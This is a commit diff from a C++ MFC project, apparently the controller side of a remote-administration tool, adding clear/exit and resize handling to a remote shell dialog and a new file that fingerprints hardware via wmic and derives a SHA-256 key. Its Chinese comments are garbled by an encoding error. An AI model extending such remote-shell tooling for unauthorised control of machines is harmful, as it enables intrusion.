|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
|
||||
//hello
|
||||
@@ -125,6 +165,24 @@ void CShellDlg::OnClose()
|
||||
}
|
||||
|
||||
|
||||
CString ExtractAfterLastNewline(const CString& str)
|
||||
{
|
||||
int nPos = str.ReverseFind(_T('\n'));
|
||||
if (nPos != -1)
|
||||
{
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
nPos = str.ReverseFind(_T('\r'));
|
||||
if (nPos != -1)
|
||||
{
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN)
|
||||
@@ -146,16 +204,22 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
//Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ
|
||||
LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
|
||||
#ifdef _DEBUG
|
||||
OutputDebugStringA("[Shell]=> ");
|
||||
OutputDebugStringA((char*)pSrc);
|
||||
TRACE("[Shell]=> %s", (char*)pSrc);
|
||||
#endif
|
||||
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // <20>˳<EFBFBD><CBB3>ն<EFBFBD>
|
||||
return PostMessage(WM_CLOSE);
|
||||
}
|
||||
else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // <20><><EFBFBD><EFBFBD><EFBFBD>ն<EFBFBD>
|
||||
str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7));
|
||||
m_Edit.SetWindowTextA(str);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.SetSel(m_nCurSel, m_nCurSel);
|
||||
return TRUE;
|
||||
}
|
||||
int length = str.GetLength() - m_nCurSel;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
if (0 == strcmp((char*)pSrc, "exit\r\n"))
|
||||
{
|
||||
ShowWindow(SW_HIDE);
|
||||
}
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd)
|
||||
@@ -190,3 +254,19 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
}
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
void CShellDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
|
||||
if (!m_Edit.GetSafeHwnd()) return; // ȷ<><C8B7><EFBFBD>ؼ<EFBFBD><D8BC>Ѵ<EFBFBD><D1B4><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>úʹ<C3BA>С
|
||||
CRect rc;
|
||||
m_Edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿؼ<C3BF><D8BC><EFBFBD>С
|
||||
m_Edit.MoveWindow(0, 0, cx, cy, TRUE);
|
||||
}
|
||||
|
||||
@@ -2,6 +2,14 @@
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// <20><><EFBFBD>۹<EFBFBD><DBB9><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD><C7B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>ĩβ
|
||||
class CAutoEndEdit : public CEdit {
|
||||
public:
|
||||
afx_msg void OnChar(UINT nChar, UINT nRepCnt, UINT nFlags);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
|
||||
// CShellDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CShellDlg : public CDialog
|
||||
@@ -17,7 +25,7 @@ public:
|
||||
HICON m_hIcon;
|
||||
UINT m_nReceiveLength;
|
||||
VOID AddKeyBoardData(void);
|
||||
UINT m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
|
||||
int m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SHELL };
|
||||
@@ -29,7 +37,8 @@ protected:
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
CEdit m_Edit;
|
||||
CAutoEndEdit m_Edit;
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
};
|
||||
|
||||
117
server/2015Remote/pwd_gen.cpp
Normal file
@@ -0,0 +1,117 @@
|
||||
#include "stdafx.h"
|
||||
#include "pwd_gen.h"
|
||||
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
|
||||
// ִ<><D6B4>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EEA3AC>ȡӲ<C8A1><D3B2><EFBFBD><EFBFBD>Ϣ
|
||||
std::string execCommand(const char* cmd) {
|
||||
// <20><><EFBFBD>ùܵ<C3B9><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SECURITY_ATTRIBUTES saAttr;
|
||||
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
saAttr.bInheritHandle = TRUE;
|
||||
saAttr.lpSecurityDescriptor = NULL;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĺܵ<C4B9>
|
||||
HANDLE hStdOutRead, hStdOutWrite;
|
||||
if (!CreatePipe(&hStdOutRead, &hStdOutWrite, &saAttr, 0)) {
|
||||
Mprintf("CreatePipe failed with error: %d\n", GetLastError());
|
||||
return "ERROR";
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
// <20><><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.hStdOutput = hStdOutWrite; // <20><><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ܵ<F2B5BDB9>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (!CreateProcess(
|
||||
NULL, // Ӧ<>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
(LPSTR)cmd, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL, // <20><><EFBFBD>̰<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
NULL, // <20>̰߳<DFB3>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
TRUE, // <20>Ƿ<EFBFBD><C7B7>̳о<CCB3><D0BE><EFBFBD>
|
||||
0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
NULL, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
NULL, // <20><>ǰĿ¼
|
||||
&si, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
&pi // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
)) {
|
||||
Mprintf("CreateProcess failed with error: %d\n", GetLastError());
|
||||
return "ERROR";
|
||||
}
|
||||
|
||||
// <20>ر<EFBFBD>д<EFBFBD><D0B4><EFBFBD>˾<EFBFBD><CBBE><EFBFBD>
|
||||
CloseHandle(hStdOutWrite);
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char buffer[128];
|
||||
std::string result = "";
|
||||
DWORD bytesRead;
|
||||
while (ReadFile(hStdOutRead, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) {
|
||||
result.append(buffer, bytesRead);
|
||||
}
|
||||
|
||||
// <20>رն<D8B1>ȡ<EFBFBD>˾<EFBFBD><CBBE><EFBFBD>
|
||||
CloseHandle(hStdOutRead);
|
||||
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
|
||||
// <20>رս<D8B1><D5BD>̺<EFBFBD><CCBA>߳̾<DFB3><CCBE><EFBFBD>
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
|
||||
// ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7>Ϳո<CDBF>
|
||||
result.erase(remove(result.begin(), result.end(), '\n'), result.end());
|
||||
result.erase(remove(result.begin(), result.end(), '\r'), result.end());
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><>ȡӲ<C8A1><D3B2> ID<49><44>CPU + <20><><EFBFBD><EFBFBD> + Ӳ<>̣<EFBFBD>
|
||||
std::string getHardwareID() {
|
||||
std::string cpuID = execCommand("wmic cpu get processorid");
|
||||
std::string boardID = execCommand("wmic baseboard get serialnumber");
|
||||
std::string diskID = execCommand("wmic diskdrive get serialnumber");
|
||||
|
||||
std::string combinedID = cpuID + "|" + boardID + "|" + diskID;
|
||||
return combinedID;
|
||||
}
|
||||
|
||||
// ʹ<><CAB9> SHA-256 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ
|
||||
std::string hashSHA256(const std::string& data) {
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
BYTE hash[32];
|
||||
DWORD hashLen = 32;
|
||||
std::ostringstream result;
|
||||
|
||||
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
|
||||
CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||
|
||||
CryptHashData(hHash, (BYTE*)data.c_str(), data.length(), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);
|
||||
|
||||
for (DWORD i = 0; i < hashLen; i++) {
|
||||
result << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i];
|
||||
}
|
||||
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hProv, 0);
|
||||
}
|
||||
return result.str();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> 16 <20>ַ<EFBFBD><D6B7><EFBFBD>Ψһ<CEA8>豸 ID
|
||||
std::string getFixedLengthID(const std::string& hash) {
|
||||
return hash.substr(0, 4) + "-" + hash.substr(4, 4) + "-" + hash.substr(8, 4) + "-" + hash.substr(12, 4);
|
||||
}
|
||||
|
||||
std::string deriveKey(const std::string& password, const std::string& hardwareID) {
|
||||
return hashSHA256(password + " + " + hardwareID);
|
||||
}
|
||||
20
server/2015Remote/pwd_gen.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <wincrypt.h>
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD>˹<EFBFBD><CBB9>ܽ<EFBFBD><DCBD>м<EFBFBD><D0BC><EFBFBD>
|
||||
|
||||
std::string getHardwareID();
|
||||
|
||||
std::string hashSHA256(const std::string& data);
|
||||
|
||||
std::string getFixedLengthID(const std::string& hash);
|
||||
|
||||
std::string deriveKey(const std::string& password, const std::string& hardwareID);
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/Share.bmp
Normal file
|
After Width: | Height: | Size: 822 B |
|
Before Width: | Height: | Size: 766 B After Width: | Height: | Size: 766 B |
BIN
server/2015Remote/res/password.ico
Normal file
|
After Width: | Height: | Size: 766 B |
@@ -21,7 +21,7 @@
|
||||
#endif
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||
#define Mprintf(format, ...) TRACE(format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#endif
|
||||
|
||||